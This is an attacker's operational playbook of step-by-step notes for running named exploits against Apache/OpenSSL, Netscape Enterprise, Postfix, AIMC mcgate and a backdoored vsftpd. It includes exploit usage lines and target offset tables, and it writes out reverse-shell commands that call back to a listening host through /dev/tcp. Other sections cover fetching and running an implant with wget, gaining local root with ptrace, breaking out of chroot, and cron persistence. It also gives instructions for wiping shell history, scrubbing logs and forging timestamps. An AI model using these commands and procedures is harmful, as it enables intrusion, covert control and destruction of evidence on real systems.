40400,5,10,15,20,25,30,35,40,45,50,55 * * * * sh -c "D=-cPITCH_IP:PORT /tmp/.httpd-lock/crond"
40410 1,17 * * * crontab -r
4042
4043### on target:
4044date; date -u
4045-ls -t /var/log/cron
4046-ls -t /var/spool/cron
4047-cat /etc/syslog.conf
4048crontab -l
4049-put /current/down/crontab crontab
4050-cat crontab
4051crontab crontab
4052crontab -l
4053date
4054
4055
4056
4057### upload eventstart:
4058-put /current/up/h h
4059
4060-shell
4061unset HISTFILE
4062unset HISTFILESIZE
4063unset HISTSIZE
4064id
4065pwd
4066ls -l
4067PATH=. sendmail
4068exit
4069exit
4070
4071
4072### remove crontab after you elevate (or reboot - haha!)
4073crontab -r
4074
4075#######################################
4076# PTRACE/FORKPTY
4077#######################################
4078
4079### new exploit is ptrace-kmod; it's a kernel exploit, no suid needed.
4080### works on linux 2.2 -> 2.4, ex) RH8.0 and MDK 9.0
4081### might have to run it twice before it works.
4082### other ptraces are older and need to run against a setuid program that won't log
4083### like /usr/sbin/usernetctl, /usr/sbin/userhelper, or /usr/sbin/traceroute
4084# find / -fstype nfs -prune -o -type f \( -perm -4000 \) -user root -ls > o
4085# get o
4086
4087#### get ptrace, forkpty, and nopen tarball ready to send:
4088cd /current/up
4089cp ptrace<TAB> pt
4090cp noserver sendmail
4091cp forkpty fp
4092tar cvf 1u.tar pt sendmail fp
4093uuencode 1u.tar 1u.tar > 1u.tar.uu
4094
4095nc -l -p NETCAT_PORT < 1u.tar.uu
4096
4097#### to elevate and also get nopen there:
4098cd /tmp
4099mkdir .scsi
4100cd .scsi
4101telnet LOCAL_IP NETCAT_PORT > src
4102 Connection closed by foreign host.
4103ls -la
4104uudecode src
4105ls -la
4106tar xvf 1u.tar
4107ls -la
4108chmod 700 fp sendmail pt
4109./fp
4110
4111#### at sh-prompt, type:
4112tty
4113./pt
4114unset HISTFILE
4115unset HISTSIZE
4116unset HISTFILESIZE
4117id
4118PATH=. sendmail
4119
4120
4121########################################
4122# TFTPD - upload image to router
4123########################################
4124
4125
4126### get on redirector with nopen
4127
4128mkdir /tmp/.scsi
4129chmod 777 /tmp/.scsi
4130-cd /tmp/.scsi
4131-put ../up/tftpd_clean sched
4132
4133### name the image EXACTLY how it will appear on the target - get tech guidance
4134
4135-put image image.name
4136chmod 777 image.name
4137
4138### start tftpd listener
4139#Example ./sched -l -a 10.0.0.14 -s /tmp/.scsi
4140# the -a IP option is the PITCH IP that talks to the router (if multiple interfaces)
4141
4142-shell
4143./sched -l -a PITCH_IP -s /tmp/.scsi
4144DONE
4145exit
4146
4147-rm image.name sched
4148-cd /tmp
4149-rm /tmp/.scsi
4150-lt
4151
4152
4153########################################
4154# SAMPLEMAN / ROUTER TOUCH
4155########################################
4156
4157
4158### redir
4159-tunnel
4160l 2323 TARGET_IP 23
4161
4162
4163### Locally:
4164telnet 127.0.0.1 2323
4165
4166# userid = <>
4167# passwd = <>
4168
4169term length 0
4170sh user
4171sh ver
4172sh arp
4173sh ip rout
4174sh proc cpu
4175enable
4176# enable password = <>
4177sh run
4178sh start
4179sh cdp neighbo detail
4180sh flash all
4181# use the chart to figure out mem location for the next command if applicable
4182sh mem <address>
4183logout
4184
4185########################################
4186# ENGAGENAUGHTY
4187########################################
4188# Apache and SSL exploit on Linux on Dec ALpha
4189# ssl must be OpenSSL 0.9.6d or earlier
4190
4191
4192Usage: ./apache-ssl-linux-alpha <-i hostname> [-t arch] [-p port] [-n <connections>] [-a 0x<address>]
4193 -t <arch> target architecture (default is 00)
4194 -p <port> SSL port (default is 443)
4195 -a 0x<address> the free location found via objdump
4196 -n <N> open N apache connections before sending the shellcode (default is 20)
4197 -m <N> maximum number of open connections (default is 50)
4198 -v verbose mode
4199
4200 -c command to run (default is "ls > /tmp/ls".)Supported architectures:
4201
4202target archs:
420300 - RedHat Linux 7.0 Apache/1.3.12 (Unix) (Red Hat/Linux) mod_ssl/2.6.6 OpenSSL/0.9.5a
4204
4205Examples: ./apache-ssl-linux-alpha -a 10 -v localhost
4206 ./apache-ssl-linux-alpha -p 1234 192.168.0.1 -n 40 -m 80
4207
4208 examples of commands:
42091. xterm: /usr/X11R6/bin/xterm -display 555.1.2.153:0 -e /bin/sh
42102. wget: First: echo -e "HTTP/1.0 200\n" > new; cat new noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > sendmail; nc -v -l -p 53 < sendmail
4211 then: cd /tmp;wget http://555.1.2.153:53/sendmail; chmod +x /tmp/sendmail;PATH=/tmp sendmail;rm -f sendmail
42123. xinetd (watch for logging): echo -e "service squid\n{\nsocket_type = stream\nwait = no\nuser = apache\nserver = /bin/sh\n}" > /tmp/.scsi; /usr/sbin/xinetd -f /tmp/.scsi
4213
4214
4215
4216scan ssl TARGET_IP
4217
4218### scripted window
4219nc -l -vv -p RANDOWM
4220
4221-tunnel
4222l 11443 TARGET_IP 443
4223r RANDOM
4224
4225
4226
4227./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "(sh</dev/tcp/PITCH_IP/NETCAT_PORT>&0 2>&0)"
4228 # or for ksh:
4229./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "(ksh -c "sh </dev/tcp/PITCH_IP/NETCAT_PORT >&0 2>&0")"
4230
4231xhost +
4232-tunnel
4233r 6006 127.0.0.1 6000
4234
4235### This one pops back an xterm (be patient for it to pop back and keep mouse clear of window):
4236./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "/usr/bin/X11/xterm -display PITCH_IP:6 -e /bin/sh"
4237
4238### Cleaning:
4239/var/log/httpd/error_log
4240
4241
4242############################################################################
4243# EXPLOITRETURN
4244# redflag 2.0 and redhat 9.0 running PHP
4245# found in cgi-bin for sybil build
4246
4247-scan http TARGET_IP
4248HTTP/1.1 200 OK
4249Date: Wed, 25 Feb 2004 22:02:11 GMT
4250Server: Apache/1.3.12 (Unix) (Black Cat/Linux) mod_ssl/2.6.4 OpenSSL/0.9.5a PHP/4.0.0 rus/PL29.4
4251
4252-tunnel
4253l 80 TARGET_IP
4254# choose 79, 5555
4255r 79
4256 or
4257r 5555
4258
4259telnet 127.0.0.1 80
4260GET /HTTP/1.0
4261
4262telnet 127.0.0.1 80
4263GET /ppd/product_user/reg_edu.php HTTP/1.0
4264# hit return twice
4265#response looking for: HTTP/1.1 302 Found
4266
4267# do not use option 1 or 4 since it brings inconsistent results
4268xp_server
4269# uuencoded rat
4270uuencode sendmail sendmail > sendmail.uu
4271nc -l -v -p 79 < sendmail.uu
4272
4273./xp_serial -i127.0.0.1 -p80 -d"/ppd/product_user/reg_edu.php" -l PITCH_IP -n79 -t3
4274
4275 or
4276
4277# no uuencode of rat
4278nc -l -v -p 5555 < sendmail
4279./xp_serial -i127.0.0.1 -p80 -d"/ppd/product_user/reg_edu.php" -l PITCH_IP -n5555 -t2
4280# after rat upload, <ctrl><c> nc command
4281
4282-nstun TARGET_IP
4283# will be nobody - need to elevate with ptrace or other
4284# need to clean the following logs
4285/var/log/httpd/error_log
4286/var/log/httpd/access_log
4287
4288
4289
4290#####################################################
4291# EGGBASKET
4292#####################################################
4293
4294# Remote exploit against the Netscape Web Server which leverages
4295# a buffer overflow to obtain remote access
4296
4297# Netscape Enterprise/3.6 and Netscape Enterprise/3.6 SP1
4298# works against AIMC Netscape servers also with right versions
4299
4300# Netscape-Enterprise 3.6:
4301# solaris 2.6(sun4m only), sun4u & sun4m solaris 2.7 - 2.9
4302
4303# Netscape-Enterprise/3.6 SP1:
4304# sun4m solaris 2.8, sun4m & sun4u solaris 2.9
4305
4306# need local to elevate such as SMOOTHY and EXTREMEPARR
4307
4308# Verify version of Netscape if target did not change version string
4309
4310-scan http TARGET_IP
4311
4312# from redirector
4313-tunnel
4314l 80 TARGET_IP
4315
4316# locally
4317
4318nc 127.0.0.1 80
4319GET / HTTP/1.0
4320<return>
4321<return>
4322
4323# on redirector
4324-tunnel
4325l 80 TARGET_IP
4326r RANDOM_HIGH_PORT1
4327
4328# locally window1
4329nc -vv -l -p RANDOM_HIGH_PORT1
4330
4331# Usage: xp_ns-httpd
4332
4333# i7 - program counter, location we are jumping to; fp - stack location; 04 - where our code is
4334
4335Targets: <version> <architecture> i7 fp o4
4336 Version: 01: Netscape-Enterprise/3.6/sun4u/5.8/fire115/aimc 0xff2a2a74 0xff2e6270 0x13ab60
4337 Version: 02: Netscape-Enterprise/3.6/sun4m/5.8/theora/aimc 0xef722a74 0xef766270 0x13a360
4338 Version: 03: Netscape-Enterprise/3.6/sun4m/5.8/unixtest-4/aimc 0xef6e2a74 0xef726270 0x13a060
4339 Version: 04: Netscape-Enterprise/3.6/sun4u/5.8/unixtest-1/aimc 0xff2a2a74 0xff2e6270 0x13a160
4340 Version: 05: Netscape-Enterprise/3.6/sun4u/5.8/fire121/aimc 0xff2a2a74 0xff2e6270 0x13ab60
4341 Version: 06: Netscape-Enterprise/3.6/sun4m/5.8/arc/aimc 0xef6e2a74 0xef726270 0x139d60
4342 Version: 07: Netscape-Enterprise/3.6/sun4u/5.7/baltimore/aimc 0xff2a2a74 0xff2e6270 0x13a360
4343 Version: 08: Netscape-Enterprise/3.6/sun4u/5.7/grandmama/aimc 0xff2a2a74 0xff2e6270 0x13a260
4344 Version: 09: Netscape-Enterprise/3.6/sun4m/5.7/unixtest-3/aimc 0xef722a74 0xef766270 0x139360
4345 Version: 10: Netscape-Enterprise/3.6/sun4m/5.6/elsa/aimc 0xef722a74 0xef766270 0x13a060
4346 Version: 11: Netscape-Enterprise/3.6/sun4m/5.6/gazoo/aimc 0xef722a74 0xef766270 0x13a060
4347 Version: 12: Netscape-Enterprise/3.6/sun4m/5.6/loneranger/aimc 0xef722a74 0xef766270 0x139360
4348 Version: 13: Netscape-Enterprise/3.6/sun4u/5.9/fire108/aimc 0xff2a2a74 0xff2e6270 0x139f60
4349 Version: 14: Netscape-Enterprise/3.6/sun4m/5.9/mack/aimc 0xef6e2a74 0xef726270 0x139d60
4350 Version: 15: Netscape-Enterprise/3.6/sun4u/5.9/thing/aimc 0xff2a2a74 0xff2e6270 0x139f60
4351 Version: 16: Netscape-Enterprise/3.6/sun4u/5.9/thing 0xff2a2a74 0xff2e6270 0x155090
4352 Version: 17: Netscape-Enterprise/3.6/sun4u/5.9/fire117 0xff2a2a74 0xff2e6270 0x155090
4353 Version: 18: Netscape-Enterprise/3.6/sun4m/5.6/loneranger 0xef722a74 0xef766270 0x153f78
4354 Version: 19: Netscape-Enterprise/3.6/sun4u/5.9/thing 0xff2a2a74 0xff2e6270 0x155290
4355 Version: 19: Netscape-Enterprise/3.6/sun4u/5.8/blade1000 0xff2a2a74 0xff2e6270 0x155f90
4356 Version: 20: Netscape-Enterprise/3.6sp1/sun4u/5.9/thing 0xff2a2c64 0xff2e6750 0x155390
4357 Version: 21: Netscape-Enterprise/3.6sp1/sun4m/5.8/theora 0xef722c64 0xef766750 0x155390
4358 Version: 22: Netscape-Enterprise/3.6sp1/sun4m/5.9/mack 0xef6e2c64 0xef726750 0x155090
4359
4360
4361# -f webpath: usually just /
4362# -c command: "(ksh -c \"sh </dev/tcp/555.1.2.150/22222 >&0 2>&0\")&"
4363# -7 i7: have seen 0xff2a2a74, 0xef722a74, 0xef6e2a74
4364# -6 sp: these work 0xff2e6270, 0xef766270, 0xef726270
4365# -4 o4: <default 0x155090>, have seen 0x153090, when running AIMC, use 0x139360
4366# -d destination target
4367# -p port: <default: 80>
4368# -s sleep number of seconds between requests <default: 7>
4369# -h usage
4370# -x range in the heap. <default: 32>
4371# -i heap increment. <default: 0x100> another good one to try is 0x80
4372
4373# locally window2
4374
4375# Example 1 assumes default install:
4376
4377Example 1: xp_ns-httpd -f / -c "(ksh -c \"sh </dev/tcp/PITCH_IP/RANDOM_HIGH_PORT1 >&0 2>&0\")&" -d 127.0.0.1 -p 80
4378
4379# Example 2, Netscape was installed with AIMC:
4380
4381 Example 2, AIMC box: xp_ns-httpd -f / -c "(ksh -c \"sh </dev/tcp/PITCH_IP/RANDOM_HIGH_PORT1 >&0 2>&0\")&" -d 127.0.0.1 -p 80 -4 0
4382x139360 -s 10 -x 64
4383
4384 Example 3, low level mode: xp_ns-httpd -f / -c "(ksh -c \"sh </dev/tcp/PITCH_IP/RANDOM_HIGH_PORT1 >&0 2>&0\")&" -7 0xff2a2a74 -6
43850xff2e6270 -d 127.0.0.1 -p 80 -4 0x13a960 -s 10 -x 16
4386
4387# Example 4, Netscape 3.6 SP1:
4388
4389 Example 4, SP1: xp_ns-httpd -f / -c "(ksh -c \"sh </dev/tcp/PITCH_IP/RANDOM_HIGH_PORT1 >&0 2>&0\")&" -7 0xff2a2c64 -6 0xff2e6750
4390-d 127.0.0.1 -p 80
4391
4392# Example 5, a busy Netscape 3.6 SP1:
4393
4394 Example 5: retry, but faster and more complete: xp_ns-httpd -f / -c "(ksh
4395-c \"sh </dev/tcp/PITCH_IP/RANDOM_HIGH_PORT1 >&0 2>&0\")&" -d 127.0.0.1 -s 5 -i
43960x80
4397
4398
4399# Give troubleshooting instructions:
4400# There are five steps in troubleshooting EGGBASKET v2:
4401# Determine if the webserver is running Netscape-Enterprise 3.6 or 3.6 SP1.
4402 # nc 127.0.0.1 80
4403 GET / HTTP/1.0
4404 <return>
4405 <return>
4406
4407# Determine the OS based upon touch information or MAC address.
4408
4409# Maybe the server is busy serving requests, therefore try the
4410
4411# following additional options:
4412
4413 -s 5 -i 0x80
4414
4415# Maybe try a wider range in hitting the NOP sled, then try the
4416# following additional options:
4417
4418 -x 64 -4 0x139360 # AIMC
4419
4420 or
4421
4422 -x 64 -4 0x153090 # Normal install
4423
4424# Is the target running the AIMC version, then try the following additional option:
4425
4426 -4 0x139360
4427
4428# The line "Errorlog" in $SERVERROOTDIR/config/magnus.conf tells where logging
4429# occurs
4430
4431# If the exploit fails, it is logged as such:
4432
4433# [18/Mar/2002:08:59:38] info (23834): successful server startup
4434# [18/Mar/2002:08:59:38] info (23834): Netscape-Enterprise/3.6 SP1 B99.036.2117
4435# [18/Mar/2002:08:59:38] verbose (23834): livewireInit reports: Starting Server-Side JavaScript build: 99.036.2332
4436
4437###################### EXCEEDSALON-AIX #####################
4438## local elevation for AIX
4439## does not log but check anyway
4440# elevation as user
4441mkdir /tmp/.pci
4442cd /tmp/.pci
4443# use ftshell, uudecode copy/paste, telnet/nc, or wget to put
4444# /current/up/xp_lquerypv-aix5.1 up as s
4445./s
4446
4447# elevation in nopen
4448
4449mkdir /tmp/.pci
4450-cd /tmp/.pci
4451-put /current/up/xp_lquerypv-aix5.1 s
4452-shell
4453id
4454(user)
4455./s
4456id
4457(euid=root)
4458./sendmail
4459/tmp/exit
4460
4461###################### ESTOPFORBADE #####################
4462# local root elevation against gds_inet_server under
4463# Cobalt Linux release 6.0
4464# for complexpuzzle
4465
4466# on target from nopen
4467-lt /usr/local/sbin/gds_inet_server
4468mkdir /tmp/.pci
4469-cd /tmp/.pci
4470pwd
4471-put /current/up/xp_gds_inet_server g
4472-shell
4473id
4474./g
4475unset HISTSIZE
4476unset HISTFILESIZE
4477unset HISTFILE
4478id
4479
4480# try up to 2 times for elevation
4481
4482#####################################################
4483# ENTERSEED
4484#####################################################
4485#
4486# Apparently, 30 or so minutes and you can bail...no joy.
4487#
4488## Set up redirector
4489-tunnel
4490l 2500 TARGET_IP 25
4491r NETCAT_PORT 127.0.0.1 NETCAT_PORT
4492
4493
4494## set up a netcat listener in a local scripted window
4495## to upload a STATICALLY COMPILED NOPEN
4496nc -l -v -p NETCAT_PORT < noserver-static
4497
4498## LOCALLY in another window: OPTIONAL: Alert to show we hit
4499while [ 1 ] ; do netstat -an | grep NETCAT_PORT.*LISTEN || break ; sleep 2 ; done ; beeps 3333
4500
4501## run exploit in a local scripted window
4502#Usage: ./enterseed.py <target-ip> <target-port> <callback-ip> <callback-port> <platform> [-search<scale>] [-u<valid-username>] [-fuploaded-filename]
4503#Platforms 1: SuSE 9.0 RPM (postfix-2.0.14-41)
4504# 2: SuSE 9.1 RPM (postfix-2.0.19_20040312-11)
4505# 3: ASP Linux 9 RPM (postfix-2.0.8-1asp)
4506
4507# NOTE: THERE ARE OTHERS BEYOND 3....6 is Debian 3.1 for instance....
4508
4509./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 1
4510./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 1 -uroot@TARGET_IP
4511./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 2
4512./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 2 -uroot@TARGET_IP
4513./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 3 -uroot@TARGET_IP -search1
4514
4515## once the exploit calls back and nopen uploaded connect to noserver
4516-nstun TARGET_IP
4517
4518## check to see if you are chroot'd
4519-lt /
4520
4521## if it looks like
4522#drwx------ 2 postfix root 4096 Apr 27 04:35 2003 corrupt
4523#drwx-wx--- 2 postfix postdrop 4096 Apr 27 04:35 2003 maildrop
4524#drwx------ 2 postfix root 4096 Apr 27 04:35 2003 saved
4525#drwxr-xr-x 3 root root 4096 Nov 17 07:22 2004 usr
4526#drwxr-xr-x 18 root root 4096 Nov 17 07:22 2004 .
4527#drwxr-xr-x 2 root root 4096 Nov 17 07:22 2004 lib
4528#drwx------ 2 postfix root 4096 Nov 17 07:22 2004 hold
4529#drwxr-xr-x 26 root root 4096 Nov 17 07:36 2004 ..
4530#drwxr-xr-x 2 root root 4096 Nov 18 12:54 2004 etc
4531#drwx------ 18 postfix root 4096 Nov 18 14:50 2004 active
4532#drwx------ 18 postfix root 4096 Nov 18 14:50 2004 bounce
4533#drwx------ 18 postfix root 4096 Dec 1 12:37 2004 deferred
4534#drwx------ 3 postfix root 4096 Dec 1 14:53 2004 flush
4535#drwxr-xr-x 2 root root 4096 Dec 1 14:53 2004 pid
4536#drwx------ 15 postfix root 4096 Dec 8 14:00 2004 defer
4537#drwx------ 2 postfix root 4096 Mar 4 15:34 2005 private
4538#drwx--x--- 2 postfix postdrop 4096 Mar 4 15:34 2005 public
4539#drwxrwxrwx 19 postfix root 4096 Mar 7 11:36 2005 incoming
4540## this means you are in a chrooted environment without any binaries
4541## (no ls, netstat, ps, which, w, ...)
4542
4543## IF NOT CHROOTED, continue to clean logs
4544
4545## IF CHROOTED
4546-cd incoming
4547
4548-put /current/up/h h
4549-put /current/up/b b
4550-put /current/up/s s
4551-put /current/up/noserver ncd
4552
4553## change permissions
4554./s h
4555./s b
4556./s ncd
4557./s .
4558
4559## run break chroot routines
4560./h
4561
4562## you should be able to connect to a new nopen running
4563-nstun TARGET_IP 32755
4564
4565## CLEANUP
4566## the location of the chrooted environment was /var/spool/postfix/
4567-lt /var/spool/postfix/
4568-lt /var/spool/postfix/incoming
4569
4570-rm b h s ncd a..
4571
4572## CLEAN LOGS
4573## check logs /var/log/mail* /var/adm/mail* /var/log/messages /var/adm/messages
4574grep "stripping too many comments" /var/adm/mail*
4575grep "stripping too many comments" /var/log/mail*
4576grep "signal 11" /var/log/mail*
4577grep "signal 11" /var/adm/mail*
4578grep "bogus file" /var/adm/mail*
4579grep "bogus file" /var/log/mail*
4580grep "writable by everyone" /var/adm/mail*
4581grep "writable by everyone" /var/log/mail*
4582grep PITCH_IP /var/log/messages
4583grep PITCH_IP /var/adm/messages
4584
4585## if any of the directories or files were changed to world writable
4586## change them back because postfix will panic
4587chmod PREV_PERM /var/spool/postfix/incoming
4588
4589
4590
4591
4592########################################
4593# Exploits a vulnerability in the Postfix mail server.
4594# Postfix runs on FreeBSD, Linux, Solaris, and most Unix servers.
4595# This exploit works for the default binary packages in SuSE 9.0-9.2, ASP Linux 9, and Debian 3.1
4596
4597# must elevate to get root
4598
4599 # postfix 2.0.14-41 on SuSE 9.0
4600 # postfix 2.0.19_20040312-11 on SuSE 9.1
4601 # postfix-2.0.8-1asp on ASP Linux 9
4602 # postfix-2.1.5 on SuSE 9.2
4603 # postfix-2.1.5 on Debian 3.1
4604#
4605# ENTERSEED expects the DUL Encoder to be in its current directory, as well
4606 # as write permission to that directory.
4607#
4608 # In the event of a chroot'ed environment, shared libraries will not be usuable.
4609 # Any uploaded files (such as noserver) must be statically compiled.
4610#
4611# -tunnel
4612# r NETCAT_PORT
4613# l RANDOM TARGET_IP TARGET_PORT
4614
4615
4616
4617./enterseed.py 127.0.0.1 RANDOM PITCH_IP NETCAT_PORT <platform> [-search<scale>] [-u<valid-username>] [-f<uploaded-filename>]
4618 # Usage: ./enterseed.py <target-ip> <target-port> <callback-ip> <callback-port> <platform> [-search<scale>] [-u<valid-username>] [-f<uploaded-filename>]
4619 # Platforms 1: SuSE 9.0 RPM (postfix-2.0.14-41) from short hostname (0-19 chars)
4620 # 2: SuSE 9.0 RPM (postfix-2.0.14-41) from long hostname (17-43 chars)
4621 # 3: SuSE 9.1 RPM (postfix-2.0.19_20040312-11) from long hostname (17-43 chars)
4622 # 4: ASP Linux 9 RPM (postfix-2.0.8-1asp) from long hostname (17-43 chars)
4623 # 5: SuSE 9.2 RPM (postfix-2.1.5)
4624 # 6: Debian 3.1 (sarge) DEB (postfix-2.1.5)
4625#
4626#
4627# Chroot Example:
4628#
4629# Begin like above. Once connected with noclient, -cd to incoming and upload the statically compiled
4630# EVENTSTART, the breakchroot program, and the setperms program (for this example, these
4631# binaries are named h, b, and s, respectively. Since EVENTSTART is unable to take command-line
4632# arguments or environment variables, h expects breakchroot to be named "b" and breakchroot
4633# expects noserver to be named "ncd." The names are all configurable, but require a recompile.
4634# Be sure to compile statically!)
4635#
4636# After uploading, use s to set the permissions on b, ncd and the current directory:
4637# (remote)$ ./s b
4638# (remote)$ ./s ncd
4639# (remote)$ ./s .
4640# These files should all be set to mode 777 now.
4641#
4642# Now run EVENTSTART:
4643# (remote)$ ./h
4644# EVENTSTART will execute b (the breakchroot program) with root privileges, which will in turn break
4645# out of the chroot and exec ncd (noserver) from the root directory and with root privileges.
4646# The breakchroot program creates a directory "a.." while breaking chroot. Remember to delete
4647# this directory as well!
4648# Now connect to the new noserver:
4649# (local)$ ./noclient 555.1.11.25:32755
4650# (remote)# id
4651# uid=0(root) gid=0(root) groups=0(root)
4652# (remote)# pwd
4653# /
4654#
4655# Make sure to delete all uploaded files/directories and reset directory permissions!
4656#
4657# Troubleshooting:
4658# If EVENTSTART fails and says something like "No such file or directory" make sure all binaries
4659# have been statically compiled.
4660# If EVENTSTART fails and says something like "Permission denied" make sure all binaries are set
4661# to mode 777. If not, use the setperms program (s).
4662
4663
4664
4665
4666#####################################################
4667# EMPTYBOWL
4668#####################################################
4669
4670# vulnerability in MailCenter Gateway (mcgate) - an application that comes
4671# with Asia Info Message Center mailserver; buffer overflow allows a string
4672# passed to popen() call to be controlled by an attacker; arbitraty cmd execute
4673# known to work only for AIMC Version 2.9.5.1
4674# may get one shot only and then server will crash
4675# works on solaris 2.6-2.10
4676# test - fire115
4677
4678# make sure not windows target running 3389 but unix target
4679
4680-scan mail TARGET_IP
4681-scan 3389 TARGET_IP
4682
4683# Usage: ./emptybowl.py <target-ip> <port> <cmd-string>
4684# --NOTE: All spaces in cmd-string will be replaced by \t's
4685
4686# on redirector
4687
4688-tunnel
4689l 3389 TARGET_ip
4690r LOW_PORT_1
4691r LOW_PORT_2
4692
4693# local may be needed to elevate privileges
4694
4695# DO NOT use the command below, since only have 1 shot at target
4696
4697#./emptybowl.py 127.0.0.1 3389 'mkdir /tmp/.scsi ; cd /tmp/.scsi && telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode && uncompress sendmail.Z && chmod 700 sendmail && PATH=. D="-cPITCH_IP:NOPEN_PORT" sendmail;'
4698
4699
4700(sh</dev/tcp/PITCH_IP/RANDOM_HIGH_PORT1>&0 2>&0)
4701
4702##### use this one
4703nc -l -vv -p 33333
4704./emptybowl.py 555.1.9.115 3389 "/usr/bin/ksh -c \"sh</dev/tcp/555.1.14.111/33333 >&0 2>&0\""
4705
4706##### or this with doublet:
4707./emptybowl.py 555.1.9.115 3389 "/usr/bin/ksh -c \"cat < /dev/tcp/555.1.14.111/33333 | /bin/sh 2>&1 | cat > /dev/tcp/555.1.14.111/44444 2>& 1\""
4708
4709# on redirector
4710netstat -an | grep LISTEN
4711
4712# look for low ports to use for doublet that are not
4713# being used on the redirector (21,22,22,53,79,80,443...)
4714
4715# substitute LOW_PORT_1, LOW_PORT_2 with ports decided
4716# from the above netstat command
4717
4718doublet -O LOW_PORT_1 LOW_PORT_2
4719
4720# change LOW_PORT_1, LOW_PORT_2, and PITCH_IP
4721
4722./emptybowl.py 127.0.0.1 3389 "/bin/ksh -c \"cat < /dev/tcp/PITCH_IP/LOW_PORT_1 | /bin/sh 2>&1 | cat > /dev/tcp/PITCH_IP/LOW_PORT_2 2>& 1\""
4723
4724#./emptybowl.py 127.0.0.1 3389 '(telnet PITCH_IP LOW_PORT_1 ; sleep 1) | /bin/sh | telnet PITCH_IP LOW_PORT_2'
4725
4726# in doublet window
4727unset HISTSIZE
4728unset HISTFILESIZE
4729unset HISTFILE
4730w
4731pwd
4732id
4733cd /tmp
4734mkdir .scsi
4735cd .scsi
4736
4737# locally
4738packrat RAND_PORT
4739<ctrl><c> # packrat command
4740gedit sendmail.Z.uu
4741
4742# in doublet
4743pwd # make sure in /tmp/.scsi
4744/usr/bin/uudecode; ls -latr
4745copy/paste gedit contents into this window
4746uncompress sendmail.Z
4747ls -l
4748chmod 700 sendmail
4749PATH=. sendmail
4750
4751# from redirector
4752-nstun TARGET_IP
4753
4754# restart mcgate
4755
4756 <ctrl><d> doublet window on TARGET_IP
4757<ctrl><d>
4758
4759# close tunnels on PITCH_IP
4760
4761# start a new NOPEN with 'at' to avoid inheritance of listening socket
4762-cd /tmp/.scsi
4763echo "./sendmail" | at now
4764# from PITCH_IP
4765-nstun TARGET_IP:32755
4766
4767#burn this NOPEN to free up socket; from original NOPEN
4768# started (32754) on TARGET_IP
4769-burnBURN
4770
4771# NOPEN 2:
4772# now restart mcgate in new NOPEN - use at again to prevent mcgate
4773# from being terminated on exit.
4774
4775-cd /opt/aimc/setup
4776echo "./mcgate" | at now
4777-cd /tmp/.scsi
4778ps -ef | grep mcgate
4779
4780# ELEVATE with extremeparr (dtappgather)
4781
4782# after ELEVATE with extremeparr (dtappgather)
4783# and restarting noserver (sendmail), connect with
4784
4785-nstun TARGET_IP:32754
4786-rm sendmail
4787# burn nopen window on TARGET_IP with id of aimc
4788id
4789-burnBURN
4790
4791#
4792# cleanup
4793
4794-lt /opt/aimc/setup/
4795
4796# remove core file
4797
4798-rm /opt/aimc/setup/core
4799
4800# in mcgate's directory; the following will be appended to mcgate.<date>:
4801Fri Feb 11 16:36:49 2005: cmdopen
4802 --- : 0 : current cmd: uapi -u -f userPassword -e ********************************************
4803Fri Feb 11 16:36:49 2005: cmdopen
4804 --- : 0 : Result: rc= -5 len=0
4805
4806-get /opt/aimc/setup/mcgate.YYYYMMDD
4807
4808#locally
4809cp /current/down/../HOSTNAME.IP/opt/aimc/setup/mcgate.YYYYMMDD /current/up/m
4810
4811# remove above entries; please leave the mcgate
4812# start values even the one we started. For example, leave:
4813
4814Fri Apr 8 16:12:28 2005: main
4815 --- : 0 : Current server port is 3389
4816
4817vi /current/up/m
4818
4819# on target
4820-put /current/up/m m
4821-ls -n /opt/aimc/setup/mcgate.YYYYMMDD
4822cat m > /opt/aimc/setup/mcgate.YYYYMMDD
4823-tail /opt/aimc/setup/mcgate.YYYYMMDD
4824# use -touch -t command from -ls -n output to
4825# reset timestamp on /opt/aimc/setup/mcgate.YYYYMMDD and
4826# /opt/aimc/setup. For example:
4827-touch -t 1112992709:1112992787 /opt/aimc/setup/mcgate.YYYYMMDD
4828-touch -t 1112992709:1112992787 /opt/aimc/setup
4829
4830-rm m
4831
4832at -l
4833-lt /var/spool/cron /var/spool/cron/atjobs
4834-touch /var/spool/cron/crontabs /var/spool/cron/atjobs
4835
4836-cd ..
4837-rm .scsi
4838
4839###### PORKED VSFTP Server #################################
4840
4841# check to see if can use DIZZYTACHOMETER to remove mismatched vsftpd
4842
4843rpm --version
4844
4845whereis vsftpd
4846
4847rpm -qf /usr/sbin/vsftpd
4848
4849rpm -V vsftpd-1.1.3-8
4850
4851-lt /usr/lib/librpm-4.1.so /usr/lib/librpmdb-4.1.so /usr/lib/librpmio-4.1.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz
48522.so
4853
4854# or
4855-lt /usr/lib/librpm-4.2.so /usr/lib/librpmdb-4.2.so /usr/lib/librpmio-4.2.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz
48562.so
4857
4858-lt /usr/sbin/vsftpd
4859# normal vsftpd md5sum: 11111ecd2d3ab44015eae3592fcfaec7
4860# porked vsftpd md5sum: bde8b06829df05be8be4b5972a2d4a39
4861md5sum vsftpd
4862
4863-put /current/up/it it
4864./it /usr/sbin/vsftpd
4865
4866cp /usr/sbin/vsftpd ?
4867-put /current/up/vsftpd vsftpd
4868cp vsftpd /usr/sbin/vsftpd
4869# use itime results to reset vsftpd times to original settings
4870./it /usr/sbin/vsftpd
4871
4872service vsftpd stop
4873service vsftpd start
4874
4875######## Trigger porked vsftpd
4876
4877### in local window, get nopen ready
4878packrat -z NETCAT_PORT
4879
4880### on redirector, get nopen listener ready
4881-nrtun NOPEN_PORT
4882
4883
4884### on redirector, set up tunnel, use a "pork source port" from list below
4885-tunnel
4886l 21 TARGET_IP 21 SPORT
4887r NETCAT_PORT
4888
4889### in scripted local window, send pork trigger
4890
4891#Usage: ./client -t|-u timeadj sport hostname dport command
4892#sport: 3 51 3854 5671 8213 12634 16798 23247 35139 47923 53246 63201
4893
